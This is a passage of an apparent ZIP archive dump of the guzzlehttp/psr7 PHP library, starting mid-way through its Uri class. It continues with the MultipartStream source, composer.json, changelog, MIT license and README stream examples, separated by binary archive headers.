        $new = clone $this;
        $new->scheme = $scheme;
        $new->composedComponents = null;
        $new->removeDefaultPort();
        $new->validateState();

        return $new;
    }

    public function withUserInfo($user, $password = null): UriInterface
    {
        $info = $this->filterUserInfoComponent($user);
        if ($password !== null) {
            $info .= ':'.$this->filterUserInfoComponent($password);
        }

        if ($this->userInfo === $info) {
            return $this;
        }

        $new = clone $this;
        $new->userInfo = $info;
        $new->composedComponents = null;
        $new->validateState();

        return $new;
    }

    public function withHost($host): UriInterface
    {
        $host = $this->filterHost($host);

        if ($this->host === $host) {
            return $this;
        }

        $new = clone $this;
        $new->host = $host;
        $new->composedComponents = null;
        $new->validateState();

        return $new;
    }

    public function withPort($port): UriInterface
    {
        $port = $this->filterPort($port);

        if ($this->port === $port) {
            return $this;
        }

        $new = clone $this;
        $new->port = $port;
        $new->composedComponents = null;
        $new->removeDefaultPort();
        $new->validateState();

        return $new;
    }

    public function withPath($path): UriInterface
    {
        $path = $this->filterPath($path);

        if ($this->path === $path) {
            return $this;
        }

        $new = clone $this;
        $new->path = $path;
        $new->composedComponents = null;
        $new->validateState();

        return $new;
    }

    public function withQuery($query): UriInterface
    {
        $query = $this->filterQueryAndFragment($query);

        if ($this->query === $query) {
            return $this;
        }

        $new = clone $this;
        $new->query = $query;
        $new->composedComponents = null;

        return $new;
    }

    public function withFragment($fragment): UriInterface
    {
        $fragment = $this->filterQueryAndFragment($fragment);

        if ($this->fragment === $fragment) {
            return $this;
        }

        $new = clone $this;
        $new->fragment = $fragment;
        $new->composedComponents = null;

        return $new;
    }

    public function jsonSerialize(): string
    {
        return $this->__toString();
    }

    /**
     * Apply parse_url parts to a URI.
     *
     * @param array $parts Array of parse_url parts to apply.
     */
    private function applyParts(array $parts): void
    {
        $this->scheme = isset($parts['scheme'])
            ? $this->filterScheme($parts['scheme'])
            : '';
        $this->userInfo = isset($parts['user'])
            ? $this->filterUserInfoComponent($parts['user'])
            : '';
        $this->host = isset($parts['host'])
            ? $this->filterHost($parts['host'])
            : '';
        $this->port = isset($parts['port'])
            ? $this->filterPort($parts['port'])
            : null;
        $this->path = isset($parts['path'])
            ? $this->filterPath($parts['path'])
            : '';
        $this->query = isset($parts['query'])
            ? $this->filterQueryAndFragment($parts['query'])
            : '';
        $this->fragment = isset($parts['fragment'])
            ? $this->filterQueryAndFragment($parts['fragment'])
            : '';
        if (isset($parts['pass'])) {
            $this->userInfo .= ':'.$this->filterUserInfoComponent($parts['pass']);
        }

        $this->removeDefaultPort();
    }

    /**
     * @param mixed $scheme
     *
     * @throws \InvalidArgumentException If the scheme is invalid.
     */
    private function filterScheme($scheme): string
    {
        if (!is_string($scheme)) {
            throw new \InvalidArgumentException('Scheme must be a string');
        }

        return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
    }

    /**
     * @param mixed $component
     *
     * @throws \InvalidArgumentException If the user info is invalid.
     */
    private function filterUserInfoComponent($component): string
    {
        if (!is_string($component)) {
            throw new \InvalidArgumentException('User info must be a string');
        }

        return preg_replace_callback(
            '/(?:[^%'.self::CHAR_UNRESERVED.self::CHAR_SUB_DELIMS.']+|%(?![A-Fa-f0-9]{2}))/',
            [$this, 'rawurlencodeMatchZero'],
            $component
        );
    }

    /**
     * @param mixed $host
     *
     * @throws \InvalidArgumentException If the host is invalid.
     */
    private function filterHost($host): string
    {
        if (!is_string($host)) {
            throw new \InvalidArgumentException('Host must be a string');
        }

        return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
    }

    /**
     * @param mixed $port
     *
     * @throws \InvalidArgumentException If the port is invalid.
     */
    private function filterPort($port): ?int
    {
        if ($port === null) {
            return null;
        }

        $port = (int) $port;
        if (0 > $port || 0xFFFF < $port) {
            throw new \InvalidArgumentException(
                sprintf('Invalid port: %d. Must be between 0 and 65535', $port)
            );
        }

        return $port;
    }

    /**
     * @param (string|int)[] $keys
     *
     * @return string[]
     */
    private static function getFilteredQueryString(UriInterface $uri, array $keys): array
    {
        $current = $uri->getQuery();

        if ($current === '') {
            return [];
        }

        $decodedKeys = array_map(function ($k): string {
            return rawurldecode((string) $k);
        }, $keys);

        return array_filter(explode('&', $current), function ($part) use ($decodedKeys) {
            return !in_array(rawurldecode(explode('=', $part)[0]), $decodedKeys, true);
        });
    }

    private static function generateQueryString(string $key, ?string $value): string
    {
        // Query string separators ("=", "&") within the key or value need to be encoded
        // (while preventing double-encoding) before setting the query string. All other
        // chars that need percent-encoding will be encoded by withQuery().
        $queryString = strtr($key, self::QUERY_SEPARATORS_REPLACEMENT);

        if ($value !== null) {
            $queryString .= '='.strtr($value, self::QUERY_SEPARATORS_REPLACEMENT);
        }

        return $queryString;
    }

    private function removeDefaultPort(): void
    {
        if ($this->port !== null && self::isDefaultPort($this)) {
            $this->port = null;
        }
    }

    /**
     * Filters the path of a URI
     *
     * @param mixed $path
     *
     * @throws \InvalidArgumentException If the path is invalid.
     */
    private function filterPath($path): string
    {
        if (!is_string($path)) {
            throw new \InvalidArgumentException('Path must be a string');
        }

        return preg_replace_callback(
            '/(?:[^'.self::CHAR_UNRESERVED.self::CHAR_SUB_DELIMS.'%:@\/]++|%(?![A-Fa-f0-9]{2}))/',
            [$this, 'rawurlencodeMatchZero'],
            $path
        );
    }

    /**
     * Filters the query string or fragment of a URI.
     *
     * @param mixed $str
     *
     * @throws \InvalidArgumentException If the query or fragment is invalid.
     */
    private function filterQueryAndFragment($str): string
    {
        if (!is_string($str)) {
            throw new \InvalidArgumentException('Query and fragment must be a string');
        }

        return preg_replace_callback(
            '/(?:[^'.self::CHAR_UNRESERVED.self::CHAR_SUB_DELIMS.'%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/',
            [$this, 'rawurlencodeMatchZero'],
            $str
        );
    }

    private function rawurlencodeMatchZero(array $match): string
    {
        return rawurlencode($match[0]);
    }

    private function validateState(): void
    {
        if ($this->host === '' && ($this->scheme === 'http' || $this->scheme === 'https')) {
            $this->host = self::HTTP_DEFAULT_HOST;
        }

        if ($this->getAuthority() === '') {
            if (0 === strpos($this->path, '//')) {
                throw new MalformedUriException('The path of a URI without an authority must not start with two slashes "//"');
            }
            if ($this->scheme === '' && false !== strpos(explode('/', $this->path, 2)[0], ':')) {
                throw new MalformedUriException('A relative URI must not have a path beginning with a segment containing a colon');
            }
        }
    }
}
PK
h�\&�_88.vendor/guzzlehttp/psr7/src/MultipartStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream that when read returns bytes for a streaming multipart or
 * multipart/form-data stream.
 */
final class MultipartStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var string */
    private $boundary;

    /** @var StreamInterface */
    private $stream;

    /**
     * @param array  $elements Array of associative arrays, each containing a
     *                         required "name" key mapping to the form field,
     *                         name, a required "contents" key mapping to a
     *                         StreamInterface/resource/string, an optional
     *                         "headers" associative array of custom headers,
     *                         and an optional "filename" key mapping to a
     *                         string to send as the filename in the part.
     * @param string $boundary You can optionally provide a specific boundary
     *
     * @throws \InvalidArgumentException
     */
    public function __construct(array $elements = [], string $boundary = null)
    {
        $this->boundary = $boundary ?: bin2hex(random_bytes(20));
        $this->stream = $this->createStream($elements);
    }

    public function getBoundary(): string
    {
        return $this->boundary;
    }

    public function isWritable(): bool
    {
        return false;
    }

    /**
     * Get the headers needed before transferring the content of a POST file
     *
     * @param string[] $headers
     */
    private function getHeaders(array $headers): string
    {
        $str = '';
        foreach ($headers as $key => $value) {
            $str .= "{$key}: {$value}\r\n";
        }

        return "--{$this->boundary}\r\n".trim($str)."\r\n\r\n";
    }

    /**
     * Create the aggregate stream that will be used to upload the POST data
     */
    protected function createStream(array $elements = []): StreamInterface
    {
        $stream = new AppendStream();

        foreach ($elements as $element) {
            if (!is_array($element)) {
                throw new \UnexpectedValueException('An array is expected');
            }
            $this->addElement($stream, $element);
        }

        // Add the trailing boundary with CRLF
        $stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n"));

        return $stream;
    }

    private function addElement(AppendStream $stream, array $element): void
    {
        foreach (['contents', 'name'] as $key) {
            if (!array_key_exists($key, $element)) {
                throw new \InvalidArgumentException("A '{$key}' key is required");
            }
        }

        $element['contents'] = Utils::streamFor($element['contents']);

        if (empty($element['filename'])) {
            $uri = $element['contents']->getMetadata('uri');
            if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') {
                $element['filename'] = $uri;
            }
        }

        [$body, $headers] = $this->createElement(
            $element['name'],
            $element['contents'],
            $element['filename'] ?? null,
            $element['headers'] ?? []
        );

        $stream->addStream(Utils::streamFor($this->getHeaders($headers)));
        $stream->addStream($body);
        $stream->addStream(Utils::streamFor("\r\n"));
    }

    /**
     * @param string[] $headers
     *
     * @return array{0: StreamInterface, 1: string[]}
     */
    private function createElement(string $name, StreamInterface $stream, ?string $filename, array $headers): array
    {
        // Set a default content-disposition header if one was no provided
        $disposition = self::getHeader($headers, 'content-disposition');
        if (!$disposition) {
            $headers['Content-Disposition'] = ($filename === '0' || $filename)
                ? sprintf(
                    'form-data; name="%s"; filename="%s"',
                    $name,
                    basename($filename)
                )
                : "form-data; name=\"{$name}\"";
        }

        // Set a default content-length header if one was no provided
        $length = self::getHeader($headers, 'content-length');
        if (!$length) {
            if ($length = $stream->getSize()) {
                $headers['Content-Length'] = (string) $length;
            }
        }

        // Set a default Content-Type if one was not supplied
        $type = self::getHeader($headers, 'content-type');
        if (!$type && ($filename === '0' || $filename)) {
            $headers['Content-Type'] = MimeType::fromFilename($filename) ?? 'application/octet-stream';
        }

        return [$stream, $headers];
    }

    /**
     * @param string[] $headers
     */
    private static function getHeader(array $headers, string $key): ?string
    {
        $lowercaseHeader = strtolower($key);
        foreach ($headers as $k => $v) {
            if (strtolower((string) $k) === $lowercaseHeader) {
                return $v;
            }
        }

        return null;
    }
}
PK
h�\X����	�	$vendor/guzzlehttp/psr7/composer.jsonnu�[���{
    "name": "guzzlehttp/psr7",
    "description": "PSR-7 message implementation that also provides common utility methods",
    "keywords": [
        "request",
        "response",
        "message",
        "stream",
        "http",
        "uri",
        "url",
        "psr-7"
    ],
    "license": "MIT",
    "authors": [
        {
            "name": "Graham Campbell",
            "email": "hello@gjcampbell.co.uk",
            "homepage": "https://github.com/GrahamCampbell"
        },
        {
            "name": "Michael Dowling",
            "email": "mtdowling@gmail.com",
            "homepage": "https://github.com/mtdowling"
        },
        {
            "name": "George Mponos",
            "email": "gmponos@gmail.com",
            "homepage": "https://github.com/gmponos"
        },
        {
            "name": "Tobias Nyholm",
            "email": "tobias.nyholm@gmail.com",
            "homepage": "https://github.com/Nyholm"
        },
        {
            "name": "Márk Sági-Kazár",
            "email": "mark.sagikazar@gmail.com",
            "homepage": "https://github.com/sagikazarmark"
        },
        {
            "name": "Tobias Schultze",
            "email": "webmaster@tubo-world.de",
            "homepage": "https://github.com/Tobion"
        },
        {
            "name": "Márk Sági-Kazár",
            "email": "mark.sagikazar@gmail.com",
            "homepage": "https://sagikazarmark.hu"
        }
    ],
    "require": {
        "php": "^7.2.5 || ^8.0",
        "psr/http-factory": "^1.0",
        "psr/http-message": "^1.1 || ^2.0",
        "ralouphie/getallheaders": "^3.0"
    },
    "provide": {
        "psr/http-factory-implementation": "1.0",
        "psr/http-message-implementation": "1.0"
    },
    "require-dev": {
        "bamarni/composer-bin-plugin": "^1.8.2",
        "http-interop/http-factory-tests": "^0.9",
        "phpunit/phpunit": "^8.5.36 || ^9.6.15"
    },
    "suggest": {
        "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
    },
    "autoload": {
        "psr-4": {
            "GuzzleHttp\\Psr7\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "GuzzleHttp\\Tests\\Psr7\\": "tests/"
        }
    },
    "extra": {
        "bamarni-bin": {
            "bin-links": true,
            "forward-command": false
        }
    },
    "config": {
        "allow-plugins": {
            "bamarni/composer-bin-plugin": true
        },
        "preferred-install": "dist",
        "sort-packages": true
    }
}
PK
h�\Aa���+�+#vendor/guzzlehttp/psr7/CHANGELOG.mdnu�[���# Change Log

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## 2.6.2 - 2023-12-03

### Fixed

- Fixed another issue with the fact that PHP transforms numeric strings in array keys to ints

### Changed

- Updated links in docs to their canonical versions
- Replaced `call_user_func*` with native calls

## 2.6.1 - 2023-08-27

### Fixed

- Properly handle the fact that PHP transforms numeric strings in array keys to ints

## 2.6.0 - 2023-08-03

### Changed

- Updated the mime type map to add some new entries, fix a couple of invalid entries, and remove an invalid entry
- Fallback to `application/octet-stream` if we are unable to guess the content type for a multipart file upload

## 2.5.1 - 2023-08-03

### Fixed

- Corrected mime type for `.acc` files to `audio/aac`

### Changed

- PHP 8.3 support

## 2.5.0 - 2023-04-17

### Changed

- Adjusted `psr/http-message` version constraint to `^1.1 || ^2.0`

## 2.4.5 - 2023-04-17

### Fixed

- Prevent possible warnings on unset variables in `ServerRequest::normalizeNestedFileSpec`
- Fixed `Message::bodySummary` when `preg_match` fails
- Fixed header validation issue

## 2.4.4 - 2023-03-09

### Changed

- Removed the need for `AllowDynamicProperties` in `LazyOpenStream`

## 2.4.3 - 2022-10-26

### Changed

- Replaced `sha1(uniqid())` by `bin2hex(random_bytes(20))`

## 2.4.2 - 2022-10-25

### Fixed

- Fixed erroneous behaviour when combining host and relative path

## 2.4.1 - 2022-08-28

### Fixed

- Rewind body before reading in `Message::bodySummary`

## 2.4.0 - 2022-06-20

### Added

- Added provisional PHP 8.2 support
- Added `UriComparator::isCrossOrigin` method

## 2.3.0 - 2022-06-09

### Fixed

- Added `Header::splitList` method
- Added `Utils::tryGetContents` method
- Improved `Stream::getContents` method
- Updated mimetype mappings

## 2.2.2 - 2022-06-08

### Fixed

- Fix `Message::parseRequestUri` for numeric headers
- Re-wrap exceptions thrown in `fread` into runtime exceptions
- Throw an exception when multipart options is misformatted

## 2.2.1 - 2022-03-20

### Fixed

- Correct header value validation

## 2.2.0 - 2022-03-20

### Added

- A more compressive list of mime types
- Add JsonSerializable to Uri
- Missing return types

### Fixed

- Bug MultipartStream no `uri` metadata
- Bug MultipartStream with filename for `data://` streams
- Fixed new line handling in MultipartStream
- Reduced RAM usage when copying streams
- Updated parsing in `Header::normalize()`

## 2.1.1 - 2022-03-20

### Fixed

- Validate header values properly

## 2.1.0 - 2021-10-06

### Changed

- Attempting to create a `Uri` object from a malformed URI will no longer throw a generic
  `InvalidArgumentException`, but rather a `MalformedUriException`, which inherits from the former
  for backwards compatibility. Callers relying on the exception being thrown to detect invalid
  URIs should catch the new exception.

### Fixed

- Return `null` in caching stream size if remote size is `null`

## 2.0.0 - 2021-06-30

Identical to the RC release.

## 2.0.0@RC-1 - 2021-04-29

### Fixed

- Handle possibly unset `url` in `stream_get_meta_data`

## 2.0.0@beta-1 - 2021-03-21

### Added

- PSR-17 factories
- Made classes final
- PHP7 type hints

### Changed

- When building a query string, booleans are represented as 1 and 0.

### Removed

- PHP < 7.2 support
- All functions in the `GuzzleHttp\Psr7` namespace

## 1.8.1 - 2021-03-21

### Fixed

- Issue parsing IPv6 URLs
- Issue modifying ServerRequest lost all its attributes

## 1.8.0 - 2021-03-21

### Added

- Locale independent URL parsing
- Most classes got a `@final` annotation to prepare for 2.0

### Fixed

- Issue when creating stream from `php://input` and curl-ext is not installed
- Broken `Utils::tryFopen()` on PHP 8

## 1.7.0 - 2020-09-30

### Added

- Replaced functions by static methods

### Fixed

- Converting a non-seekable stream to a string
- Handle multiple Set-Cookie correctly
- Ignore array keys in header values when merging
- Allow multibyte characters to be parsed in `Message:bodySummary()`

### Changed

- Restored partial HHVM 3 support


## [1.6.1] - 2019-07-02

### Fixed

- Accept null and bool header values again


## [1.6.0] - 2019-06-30

### Added

- Allowed version `^3.0` of `ralouphie/getallheaders` dependency (#244)
- Added MIME type for WEBP image format (#246)
- Added more validation of values according to PSR-7 and RFC standards, e.g. status code range (#250, #272)

### Changed

- Tests don't pass with HHVM 4.0, so HHVM support got dropped. Other libraries like composer have done the same. (#262)
- Accept port number 0 to be valid (#270)

### Fixed

- Fixed subsequent reads from `php://input` in ServerRequest (#247)
- Fixed readable/writable detection for certain stream modes (#248)
- Fixed encoding of special characters in the `userInfo` component of an URI (#253)


## [1.5.2] - 2018-12-04

### Fixed

- Check body size when getting the message summary


## [1.5.1] - 2018-12-04

### Fixed

- Get the summary of a body only if it is readable


## [1.5.0] - 2018-12-03

### Added

- Response first-line to response string exception (fixes #145)
- A test for #129 behavior
- `get_message_body_summary` function in order to get the message summary
- `3gp` and `mkv` mime types

### Changed

- Clarify exception message when stream is detached

### Deprecated

- Deprecated parsing folded header lines as per RFC 7230

### Fixed

- Fix `AppendStream::detach` to not close streams
- `InflateStream` preserves `isSeekable` attribute of the underlying stream
- `ServerRequest::getUriFromGlobals` to support URLs in query parameters


Several other fixes and improvements.


## [1.4.2] - 2017-03-20

### Fixed

- Reverted BC break to `Uri::resolve` and `Uri::removeDotSegments` by removing
  calls to `trigger_error` when deprecated methods are invoked.


## [1.4.1] - 2017-02-27

### Added

- Rriggering of silenced deprecation warnings.

### Fixed

- Reverted BC break by reintroducing behavior to automagically fix a URI with a
  relative path and an authority by adding a leading slash to the path. It's only
  deprecated now.


## [1.4.0] - 2017-02-21

### Added

- Added common URI utility methods based on RFC 3986 (see documentation in the readme):
  - `Uri::isDefaultPort`
  - `Uri::isAbsolute`
  - `Uri::isNetworkPathReference`
  - `Uri::isAbsolutePathReference`
  - `Uri::isRelativePathReference`
  - `Uri::isSameDocumentReference`
  - `Uri::composeComponents`
  - `UriNormalizer::normalize`
  - `UriNormalizer::isEquivalent`
  - `UriResolver::relativize`

### Changed

- Ensure `ServerRequest::getUriFromGlobals` returns a URI in absolute form.
- Allow `parse_response` to parse a response without delimiting space and reason.
- Ensure each URI modification results in a valid URI according to PSR-7 discussions.
  Invalid modifications will throw an exception instead of returning a wrong URI or
  doing some magic.
  - `(new Uri)->withPath('foo')->withHost('example.com')` will throw an exception
    because the path of a URI with an authority must start with a slash "/" or be empty
  - `(new Uri())->withScheme('http')` will return `'http://localhost'`

### Deprecated

- `Uri::resolve` in favor of `UriResolver::resolve`
- `Uri::removeDotSegments` in favor of `UriResolver::removeDotSegments`

### Fixed

- `Stream::read` when length parameter <= 0.
- `copy_to_stream` reads bytes in chunks instead of `maxLen` into memory.
- `ServerRequest::getUriFromGlobals` when `Host` header contains port.
- Compatibility of URIs with `file` scheme and empty host.


## [1.3.1] - 2016-06-25

### Fixed

- `Uri::__toString` for network path references, e.g. `//example.org`.
- Missing lowercase normalization for host.
- Handling of URI components in case they are `'0'` in a lot of places,
  e.g. as a user info password.
- `Uri::withAddedHeader` to correctly merge headers with different case.
- Trimming of header values in `Uri::withAddedHeader`. Header values may
  be surrounded by whitespace which should be ignored according to RFC 7230
  Section 3.2.4. This does not apply to header names.
- `Uri::withAddedHeader` with an array of header values.
- `Uri::resolve` when base path has no slash and handling of fragment.
- Handling of encoding in `Uri::with(out)QueryValue` so one can pass the
  key/value both in encoded as well as decoded form to those methods. This is
  consistent with withPath, withQuery etc.
- `ServerRequest::withoutAttribute` when attribute value is null.


## [1.3.0] - 2016-04-13

### Added

- Remaining interfaces needed for full PSR7 compatibility
  (ServerRequestInterface, UploadedFileInterface, etc.).
- Support for stream_for from scalars.

### Changed

- Can now extend Uri.

### Fixed
- A bug in validating request methods by making it more permissive.


## [1.2.3] - 2016-02-18

### Fixed

- Support in `GuzzleHttp\Psr7\CachingStream` for seeking forward on remote
  streams, which can sometimes return fewer bytes than requested with `fread`.
- Handling of gzipped responses with FNAME headers.


## [1.2.2] - 2016-01-22

### Added

- Support for URIs without any authority.
- Support for HTTP 451 'Unavailable For Legal Reasons.'
- Support for using '0' as a filename.
- Support for including non-standard ports in Host headers.


## [1.2.1] - 2015-11-02

### Changes

- Now supporting negative offsets when seeking to SEEK_END.


## [1.2.0] - 2015-08-15

### Changed

- Body as `"0"` is now properly added to a response.
- Now allowing forward seeking in CachingStream.
- Now properly parsing HTTP requests that contain proxy targets in
  `parse_request`.
- functions.php is now conditionally required.
- user-info is no longer dropped when resolving URIs.


## [1.1.0] - 2015-06-24

### Changed

- URIs can now be relative.
- `multipart/form-data` headers are now overridden case-insensitively.
- URI paths no longer encode the following characters because they are allowed
  in URIs: "(", ")", "*", "!", "'"
- A port is no longer added to a URI when the scheme is missing and no port is
  present.


## 1.0.0 - 2015-05-19

Initial release.

Currently unsupported:

- `Psr\Http\Message\ServerRequestInterface`
- `Psr\Http\Message\UploadedFileInterface`



[1.6.0]: https://github.com/guzzle/psr7/compare/1.5.2...1.6.0
[1.5.2]: https://github.com/guzzle/psr7/compare/1.5.1...1.5.2
[1.5.1]: https://github.com/guzzle/psr7/compare/1.5.0...1.5.1
[1.5.0]: https://github.com/guzzle/psr7/compare/1.4.2...1.5.0
[1.4.2]: https://github.com/guzzle/psr7/compare/1.4.1...1.4.2
[1.4.1]: https://github.com/guzzle/psr7/compare/1.4.0...1.4.1
[1.4.0]: https://github.com/guzzle/psr7/compare/1.3.1...1.4.0
[1.3.1]: https://github.com/guzzle/psr7/compare/1.3.0...1.3.1
[1.3.0]: https://github.com/guzzle/psr7/compare/1.2.3...1.3.0
[1.2.3]: https://github.com/guzzle/psr7/compare/1.2.2...1.2.3
[1.2.2]: https://github.com/guzzle/psr7/compare/1.2.1...1.2.2
[1.2.1]: https://github.com/guzzle/psr7/compare/1.2.0...1.2.1
[1.2.0]: https://github.com/guzzle/psr7/compare/1.1.0...1.2.0
[1.1.0]: https://github.com/guzzle/psr7/compare/1.0.0...1.1.0
PK
h�\^�pLzzvendor/guzzlehttp/psr7/LICENSEnu�[���The MIT License (MIT)

Copyright (c) 2015 Michael Dowling <mtdowling@gmail.com>
Copyright (c) 2015 Márk Sági-Kazár <mark.sagikazar@gmail.com>
Copyright (c) 2015 Graham Campbell <hello@gjcampbell.co.uk>
Copyright (c) 2016 Tobias Schultze <webmaster@tubo-world.de>
Copyright (c) 2016 George Mponos <gmponos@gmail.com>
Copyright (c) 2018 Tobias Nyholm <tobias.nyholm@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\�DBZjrjr vendor/guzzlehttp/psr7/README.mdnu�[���# PSR-7 Message Implementation

This repository contains a full [PSR-7](https://www.php-fig.org/psr/psr-7/)
message implementation, several stream decorators, and some helpful
functionality like query string parsing.

![CI](https://github.com/guzzle/psr7/workflows/CI/badge.svg)
![Static analysis](https://github.com/guzzle/psr7/workflows/Static%20analysis/badge.svg)


## Features

This package comes with a number of stream implementations and stream
decorators.


## Installation

```shell
composer require guzzlehttp/psr7
```

## Version Guidance

| Version | Status              | PHP Version  |
|---------|---------------------|--------------|
| 1.x     | Security fixes only | >=5.4,<8.1   |
| 2.x     | Latest              | >=7.2.5,<8.4 |


## AppendStream

`GuzzleHttp\Psr7\AppendStream`

Reads from multiple streams, one after the other.

```php
use GuzzleHttp\Psr7;

$a = Psr7\Utils::streamFor('abc, ');
$b = Psr7\Utils::streamFor('123.');
$composed = new Psr7\AppendStream([$a, $b]);

$composed->addStream(Psr7\Utils::streamFor(' Above all listen to me'));

echo $composed; // abc, 123. Above all listen to me.
```


## BufferStream

`GuzzleHttp\Psr7\BufferStream`

Provides a buffer stream that can be written to fill a buffer, and read
from to remove bytes from the buffer.

This stream returns a "hwm" metadata value that tells upstream consumers
what the configured high water mark of the stream is, or the maximum
preferred size of the buffer.

```php
use GuzzleHttp\Psr7;

// When more than 1024 bytes are in the buffer, it will begin returning
// false to writes. This is an indication that writers should slow down.
$buffer = new Psr7\BufferStream(1024);
```


## CachingStream

The CachingStream is used to allow seeking over previously read bytes on
non-seekable streams. This can be useful when transferring a non-seekable
entity body fails due to needing to rewind the stream (for example, resulting
from a redirect). Data that is read from the remote stream will be buffered in
a PHP temp stream so that previously read bytes are cached first in memory,
then on disk.

```php
use GuzzleHttp\Psr7;

$original = Psr7\Utils::streamFor(fopen('http://www.google.com', 'r'));
$stream = new Psr7\CachingStream($original);

$stream->read(1024);
echo $stream->tell();
// 1024

$stream->seek(0);
echo $stream->tell();
// 0
```


## DroppingStream

`GuzzleHttp\Psr7\DroppingStream`

Stream decorator that begins dropping data once the size of the underlying
stream becomes too full.

```php
use GuzzleHttp\Psr7;

// Create an empty stream
$stream = Psr7\Utils::streamFor();

// Start dropping data when the stream has more than 10 bytes
$dropping = new Psr7\DroppingStream($stream, 10);

$dropping->write('01234567890123456789');
echo $stream; // 0123456789
```


## FnStream

`GuzzleHttp\Psr7\FnStream`

Compose stream implementations based on a hash of functions.

Allows for easy testing and extension of a provided stream without needing
to create a concrete class for a simple extension point.

```php

use GuzzleHttp\Psr7;

$stream = Psr7\Utils::streamFor('hi');
$fnStream = Psr7\FnStream::decorate($stream, [
    'rewind' => function () use ($stream) {
        echo 'About to rewind - ';
        $stream->rewind();
        echo 'rewound!';
    }
]);

$fnStream->rewind();
// Outputs: About to rewind - rewound!
```


## InflateStream

`GuzzleHttp\Psr7\InflateStream`

Uses PHP's zlib.inflate filter to inflate zlib (HTTP deflate, RFC1950) or gzipped (RFC1952) content.

This stream decorator converts the provided stream to a PHP stream resource,
then appends the zlib.inflate filter. The stream is then converted back
to a Guzzle stream resource to be used as a Guzzle stream.


## LazyOpenStream

`GuzzleHttp\Psr7\LazyOpenStream`

Lazily reads or writes to a file that is opened only after an IO operation
take place on the stream.

```php
use GuzzleHttp\Psr7;

$stream = new Psr7\LazyOpenStream('/path/to/file', 'r');
// The file has not yet been opened...

echo $stream->read(10);
// The file is opened and read from only when needed.
```


## LimitStream

`GuzzleHttp\Psr7\LimitStream`

LimitStream can be used to read a subset or slice of an existing stream object.
This can be useful for breaking a large file into smaller pieces to be sent in
chunks (e.g. Amazon S3's multipart upload API).

```php
use GuzzleHttp\Psr7;

$original = Psr7\Utils::streamFor(fopen('/tmp/test.txt', 'r+'));
echo $original->getSize();
// >>> 1048576

// Limit the size of the body to 1024 bytes and start reading from byte 2048
$stream = new Psr7\LimitStream($original, 1024, 2048);
echo $stream->getSize();
// >>> 1024
echo $stream->tell();
// >>> 0
```


## MultipartStream

`GuzzleHttp\Psr7\MultipartStream`

Stream that when read returns bytes for a streaming multipart or
multipart/form-data stream.


## NoSeekStream

`GuzzleHttp\Psr7\NoSeekStream`

NoSeekStream wraps a stream and does not allow seeking.

```php
use GuzzleHttp\Psr7;

$original = Psr7\Utils::streamFor('foo');
$noSeek = new Psr7\NoSeekStream($original);

echo $noSeek->read(3);
// foo
var_export($noSeek->isSeekable());
// false
$noSeek->seek(0);
var_export($noSeek->read(3));
// NULL
```


## PumpStream

`GuzzleHttp\Psr7\PumpStream`

Provides a read only stream that pumps data from a PHP callable.

When invoking the provided callable, the PumpStream will pass the amount of
data requested to read to the callable. The callable can choose to ignore
this value and return fewer or more bytes than requested. Any extra data
returned by the provided callable is buffered internally until drained using
the read() function of the PumpStream. The provided callable MUST return
false when there is no more data to read.


## Implementing stream decorators

Creating a stream decorator is very easy thanks to the
`GuzzleHttp\Psr7\StreamDecoratorTrait`. This trait provides methods that
implement `Psr\Http\Message\StreamInterface` by proxying to an underlying
stream. Just `use` the `StreamDecoratorTrait` and implement your custom
methods.

For example, let's say we wanted to call a specific function each time the last
byte is read from a stream. This could be implemented by overriding the
`read()` method.

```php
use Psr\Http\Message\StreamInterface;
use GuzzleHttp\Psr7\StreamDecoratorTrait;

class EofCallbackStream implements StreamInterface
{
    use StreamDecoratorTrait;

    private $callback;

    private $stream;

    public function __construct(StreamInterface $stream, callable $cb)
    {
        $this->stream = $stream;
        $this->callback = $cb;
    }

    public function read($length)
    {
        $result = $this->stream->read($length);

        // Invoke the callback when EOF is hit.
        if ($this->eof()) {
            ($this->callback)();
        }

        return $result;
    }
}
```

This decorator could be added to any existing stream and used like so:

```php
use GuzzleHttp\Psr7;

$original = Psr7\Utils::streamFor('foo');

$eofStream = new EofCallbackStream($original, function () {
    echo 'EOF!';
});

$eofStream->read(2);
$eofStream->read(1);
// echoes "EOF!"
$eofStream->seek(0);
$eofStream->read(3);
// echoes "EOF!"
```


## PHP StreamWrapper

You can use the `GuzzleHttp\Psr7\StreamWrapper` class if you need to use a
PSR-7 stream as a PHP stream resource.

Use the `GuzzleHttp\Psr7\StreamWrapper::getResource()` method to create a PHP
stream from a PSR-7 stream.

```php
use GuzzleHttp\Psr7\StreamWrapper;

$stream = GuzzleHttp\Psr7\Utils::streamFor('hello!');
$resource = StreamWrapper::getResource($stream);
echo fread($resource, 6); // outputs hello!
